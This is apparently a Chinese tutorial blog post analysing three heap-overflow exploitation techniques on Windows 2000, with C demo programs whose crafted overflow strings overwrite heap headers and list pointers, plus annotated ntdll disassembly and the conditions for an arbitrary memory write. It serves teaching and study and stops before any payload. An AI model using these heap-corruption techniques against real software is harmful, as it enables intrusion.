总结windows下堆溢出的三种利用方式

总结windows下堆溢出的三种利用方式

 

1.利用RtlAllocHeap

这是ISNO提到的,看这个例子

 

main (int argc, char *argv[])

{

??char *buf1, *buf2;

??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

 

??buf1 = (char*)malloc (32); /* 分配两块内存 */

??memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

 

??buf2 = (char*)malloc (16);

 

??free (buf1);

??free (buf2);

 

??return 0;

}

 

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

 

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

 

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

 

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

 

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了

下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

 

001B:77FCC453??8901????????????????MOV?????? [ECX],EAX

001B:77FCC455??894804??????????????MOV?????? [EAX+04],ECX

 

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于 format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

 

2.利用RtlFreeHeap的方式一

这是ilsy提到的,看例子

 

main (int argc, char *argv[])

{

??char *buf1, *buf2;

??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

 

??buf1 = (char*)malloc (32); /* 分配两块内存 */

??buf2 = (char*)malloc (16);

 

??memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

 

??free (buf1);

??free (buf2);

 

??return 0;

}

 

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

 

先看看8字节管理结构的定义(从windows源码中找到)

typedef struct _HEAP_ENTRY {

 

????//

????//??This field gives the size of the current block in allocation

????//??granularity units.??(i.e. Size << HEAP_GRANULARITY_SHIFT

????//??equals the size in bytes).

????//

????//??Except if this is part of a virtual alloc block then this

????//??value is the difference between the commit size in the virtual

????//??alloc entry and the what the user asked for.

????//

 

????USHORT Size;

 

????//

????// This field gives the size of the previous block in allocation

????// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT

????// equals the size of the previous block in bytes).

????//

 

????USHORT PreviousSize;

 

????//

????// This field contains the index into the segment that controls

????// the memory for this block.

????//

 

????UCHAR SegmentIndex;

 

????//

????// This field contains various flag bits associated with this block.

????// Currently these are:

????//

????//??0x01 - HEAP_ENTRY_BUSY

????//??0x02 - HEAP_ENTRY_EXTRA_PRESENT

????//??0x04 - HEAP_ENTRY_FILL_PATTERN

????//??0x08 - HEAP_ENTRY_VIRTUAL_ALLOC

????//??0x10 - HEAP_ENTRY_LAST_ENTRY

????//??0x20 - HEAP_ENTRY_SETTABLE_FLAG1

????//??0x40 - HEAP_ENTRY_SETTABLE_FLAG2

????//??0x80 - HEAP_ENTRY_SETTABLE_FLAG3

????//

 

????UCHAR Flags;

 

????//

????// This field contains the number of unused bytes at the end of this

????// block that were not actually allocated.??Used to compute exact

????// size requested prior to rounding requested size to allocation

????// granularity.??Also used for tail checking purposes.

????//

 

????UCHAR UnusedBytes;

 

????//

????// Small (8 bit) tag indexes can go here.

????//

 

????UCHAR SmallTagIndex;

 

#if defined(_WIN64)

????ULONGLONG Reserved1;

#endif

 

} HEAP_ENTRY, *PHEAP_ENTRY;

 

就是

 

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

 

注意这里的size是实际大小进行8字节对齐后除以8的值

可以看看flag的各个定义

 

再看看RtlFreeHeap里面几个关键的地方

 

关键点一

001B:77FCC829??8A4605??????????????MOV?????? AL,[ESI+05]??//esi指向buf2的8字节管理结构的起始地址,al即flag

001B:77FCC82C??A801????????????????TEST??????AL,01??????//flag值是否含有HEAP_ENTRY_BUSY

001B:77FCC82E??0F84A40E0000????????JZ????????77FCD6D8??????//不含则跳转。这里不能跳

001B:77FCC834??F6C207??????????????TEST??????DL,07??????

001B:77FCC837??0F859B0E0000????????JNZ?????? 77FCD6D8

001B:77FCC83D??807E0440????????????CMP?????? BYTE PTR [ESI+04],40????//esi+4是否大于0x40

001B:77FCC841??0F83910E0000????????JAE?????? 77FCD6D8????????????//大于等于则跳转,这里不能跳

001B:77FCC847??834DFCFF????????????OR????????DWORD PTR [EBP-04],-01

001B:77FCC84B??A8E0????????????????TEST??????AL,E0????????????//flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3

001B:77FCC84D??754A????????????????JNZ?????? 77FCC899????????????//只要含有一个就跳,这里不重要

001B:77FCC84F??8B8F80050000????????MOV?????? ECX,[EDI+00000580]

001B:77FCC855??85C9????????????????TEST??????ECX,ECX

001B:77FCC857??7440????????????????JZ????????77FCC899????????????//这里必然会跳

 

关键点二

001B:77FCC899??C745FC01000000??????MOV?????? DWORD PTR [EBP-04],00000001????

001B:77FCC8A0??F6C301??????????????TEST??????BL,01

001B:77FCC8A3??750F????????????????JNZ?????? 77FCC8B4????????????//这里必然会跳

001B:77FCC8A5??FFB778050000????????PUSH??????DWORD PTR [EDI+00000578]

001B:77FCC8AB??E853C8FBFF??????????CALL??????ntdll!RtlEnterCriticalSection

001B:77FCC8B0??C645D401????????????MOV?????? BYTE PTR [EBP-2C],01

001B:77FCC8B4??F6460508????????????TEST??????BYTE PTR [ESI+05],08????//flag是否含HEAP_ENTRY_VIRTUAL_ALLOC

001B:77FCC8B8??0F858BF2FFFF????????JNZ?????? 77FCBB49????????????//含有则跳,这里要跳

 

关键点三

001B:77FCBB49??83C6E8??????????????ADD?????? ESI,-18????????????//ilsy说在不同的windows版本上这个0x18的是不同的

001B:77FCBB4C??89759C??????????????MOV?????? [EBP-64],ESI

001B:77FCBB4F??8B06????????????????MOV?????? EAX,[ESI]

001B:77FCBB51??894598??????????????MOV?????? [EBP-68],EAX

001B:77FCBB54??8B7604??????????????MOV?????? ESI,[ESI+04]

001B:77FCBB57??897594??????????????MOV?????? [EBP-6C],ESI

001B:77FCBB5A??8906????????????????MOV?????? [ESI],EAX????????????//这里会操作异常

 

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

 

的数据所指向的地址。我们可以控制这两个数据。

可见第二种方式的前提有三个:

1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff

2)构造堆的flag前面那个字节要比0x40小

3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败

还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

 

3.利用RtlFreeHeap的方式二

 

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。

看例子

 

main (int argc, char *argv[])

{

??char *buf1, *buf2;

??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

 

??buf1 = (char*)malloc (32); /* 分配两块内存 */

??buf2 = (char*)malloc (16);

 

??memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

 

??free (buf1);

??free (buf2);

 

??return 0;

}

 

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

 

关键点一

同方式二的关键点一,设法跳到关键点二

 

关键点二

001B:77FCC899??C745FC01000000??????MOV?????? DWORD PTR [EBP-04],00000001

001B:77FCC8A0??F6C301??????????????TEST??????BL,01

001B:77FCC8A3??750F????????????????JNZ?????? 77FCC8B4

001B:77FCC8A5??FFB778050000????????PUSH??????DWORD PTR [EDI+00000578]

001B:77FCC8AB??E853C8FBFF??????????CALL??????ntdll!RtlEnterCriticalSection

001B:77FCC8B0??C645D401????????????MOV?????? BYTE PTR [EBP-2C],01

001B:77FCC8B4??F6460508????????????TEST??????BYTE PTR [ESI+05],08????//flag是否含HEAP_ENTRY_VIRTUAL_ALLOC

001B:77FCC8B8??0F858BF2FFFF????????JNZ?????? 77FCBB49????????????//含有则跳,这里不能跳

001B:77FCC8BE??0FB706??????????????MOVZX???? EAX,WORD PTR [ESI]

001B:77FCC8C1??8945D0??????????????MOV?????? [EBP-30],EAX

001B:77FCC8C4??F6470C80????????????TEST??????BYTE PTR [EDI+0C],80

001B:77FCC8C8??7515????????????????JNZ?????? 77FCC8DF

001B:77FCC8CA??6A00????????????????PUSH??????00

001B:77FCC8CC??8D45D0??????????????LEA?????? EAX,[EBP-30]

001B:77FCC8CF??50??????????????????PUSH??????EAX

001B:77FCC8D0??56??????????????????PUSH??????ESI

001B:77FCC8D1??57??????????????????PUSH??????EDI

001B:77FCC8D2??E8EA000000??????????CALL??????77FCC9C1????????????//进入这个CALL

 

关键点三

001B:77FCC9C1??55??????????????????PUSH??????EBP

001B:77FCC9C2??8BEC????????????????MOV?????? EBP,ESP

001B:77FCC9C4??53??????????????????PUSH??????EBX

001B:77FCC9C5??56??????????????????PUSH??????ESI

001B:77FCC9C6??8B750C??????????????MOV?????? ESI,[EBP+0C]

001B:77FCC9C9??8B5D08??????????????MOV?????? EBX,[EBP+08]

001B:77FCC9CC??57??????????????????PUSH??????EDI

001B:77FCC9CD??8BFE????????????????MOV?????? EDI,ESI????????????//ESI指向buf1的起始地址

001B:77FCC9CF??0FB74602????????????MOVZX???? EAX,WORD PTR [ESI+02]????//将buf1之前的堆的长度放入EAX

001B:77FCC9D3??C1E003??????????????SHL?????? EAX,03????????????//乘以8得到实际大小

001B:77FCC9D6??2BF8????????????????SUB?????? EDI,EAX????????????//EDI指向buf1之前的堆的起始地址

001B:77FCC9D8??3BFE????????????????CMP?????? EDI,ESI

001B:77FCC9DA??740A????????????????JZ????????77FCC9E6

001B:77FCC9DC??F6470501????????????TEST??????BYTE PTR [EDI+05],01????//上一个堆的flag是否含HEAP_ENTRY_BUSY

001B:77FCC9E0??0F8498E9FFFF????????JZ????????77FCB37E????????????//不能跳

001B:77FCC9E6??F6460510????????????TEST??????BYTE PTR [ESI+05],10????//上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY

001B:77FCC9EA??750F????????????????JNZ?????? 77FCC9FB????????????//不能跳

001B:77FCC9EC??8B4510??????????????MOV?????? EAX,[EBP+10]

001B:77FCC9EF??8B00????????????????MOV?????? EAX,[EAX]????????????//buf1的堆的长度

001B:77FCC9F1??F644C60501??????????TEST??????BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY

001B:77FCC9F6??8D3CC6??????????????LEA?????? EDI,[EAX*8+ESI]????????//EDI指向buf2的起始地址

001B:77FCC9F9??7409????????????????JZ????????77FCCA04????????????//不含则跳(合并空闲堆?),这里要跳

001B:77FCC9FB??8BC6????????????????MOV?????? EAX,ESI

001B:77FCC9FD??5F??????????????????POP?????? EDI

001B:77FCC9FE??5E??????????????????POP?????? ESI

001B:77FCC9FF??5B??????????????????POP?????? EBX

001B:77FCCA00??5D??????????????????POP?????? EBP

001B:77FCCA01??C21000??????????????RET?????? 0010

001B:77FCCA04??0FB70F??????????????MOVZX???? ECX,WORD PTR [EDI]????????//ECX即buf2的堆的长度

001B:77FCCA07??03C8????????????????ADD?????? ECX,EAX????????????//加上buf1的堆的长度

001B:77FCCA09??81F900FE0000????????CMP?????? ECX,0000FE00????????//是否大于0xfe00

001B:77FCCA0F??77EA????????????????JA????????77FCC9FB????????????//大于则跳,这里不能跳

001B:77FCCA11??807D1400????????????CMP?????? BYTE PTR [EBP+14],00

001B:77FCCA15??0F85FB210000????????JNZ?????? 77FCEC16

001B:77FCCA1B??8A4705??????????????MOV?????? AL,[EDI+05]????????//AL即buf2的flag

001B:77FCCA1E??2410????????????????AND?????? AL,10????????????//是否含HEAP_ENTRY_LAST_ENTRY

001B:77FCCA20??A810????????????????TEST??????AL,10

001B:77FCCA22??884605??????????????MOV?????? [ESI+05],AL????????//将buf1的flag置为HEAP_ENTRY_LAST_ENTRY

001B:77FCCA25??754B????????????????JNZ?????? 77FCCA72????????????//含则跳,这里不能跳

001B:77FCCA27??57??????????????????PUSH??????EDI

001B:77FCCA28??53??????????????????PUSH??????EBX

001B:77FCCA29??E80CCBFBFF??????????CALL??????77F8953A

001B:77FCCA2E??8B4F0C??????????????MOV?????? ECX,[EDI+0C]????????//将buf2的0x0c偏移给ECX

001B:77FCCA31??8B4708??????????????MOV?????? EAX,[EDI+08]????????//将buf2的0x08偏移给EAX

001B:77FCCA34??3BC1????????????????CMP?????? EAX,ECX

001B:77FCCA36??8901????????????????MOV?????? [ECX],EAX????????????//这里发生异常

001B:77FCCA38??894804??????????????MOV?????? [EAX+04],ECX

 

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

 

001B:77FCC8B8??0F858BF2FFFF????????JNZ?????? 77FCBB49

 

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)

发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。

可见方式三的前提有三个

1)构造堆(buf2)的长度不能为0

2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)

3)构造堆的flag不能包含HEAP_ENTRY_BUSY

 

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

 

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值